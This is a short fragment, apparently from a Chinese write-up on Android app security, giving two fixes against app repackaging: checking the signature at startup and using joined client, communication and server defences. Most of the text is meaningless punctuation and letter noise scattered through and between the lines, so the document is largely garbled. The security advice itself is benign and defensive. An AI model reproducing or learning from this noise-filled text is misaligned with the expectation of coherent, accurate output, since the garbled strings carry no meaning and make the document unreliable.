k+ H: \; U3 Z   + |0 s: J& N; y( ^ ! C$ M0 W! N9 m/ r# T+ l

; d2 V" N5 I/ q6 p

1 U' Z4 h& F6 g- |* ~/ ^# M$ J : H% z! n I/ m, W2 ^4 o/ Y/ ~   7 F/ G4 k" P- J: r% y9 J: w* {4 J

; T O+ c0 w& o6 [

修复方法： # A o6 K( l3 v

* l, m8 ^- o9 r8 A& J( y

, V/ S9 @1 Y& x) W- d' C               1.在 APP 启动时应做签名校验防止二次打包。
5 Z/ W& z& s" a. o/ l! z; L9 x# ` 2 V. k# H; I2 T/ { |% L: I6 |) V/ x 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

& A7 d& m4 u! G: r3 I 5 R+ ?0 U( s5 n" I

: q, N5 V/ I) H# v$ w   2 V3 P9 w8 s# A: D. |: E

4 n3 O; U( o0 Y% S5 | 8 ~( L% d, T+ K2 L1 [

) X4 X+ X8 M9 d: m) T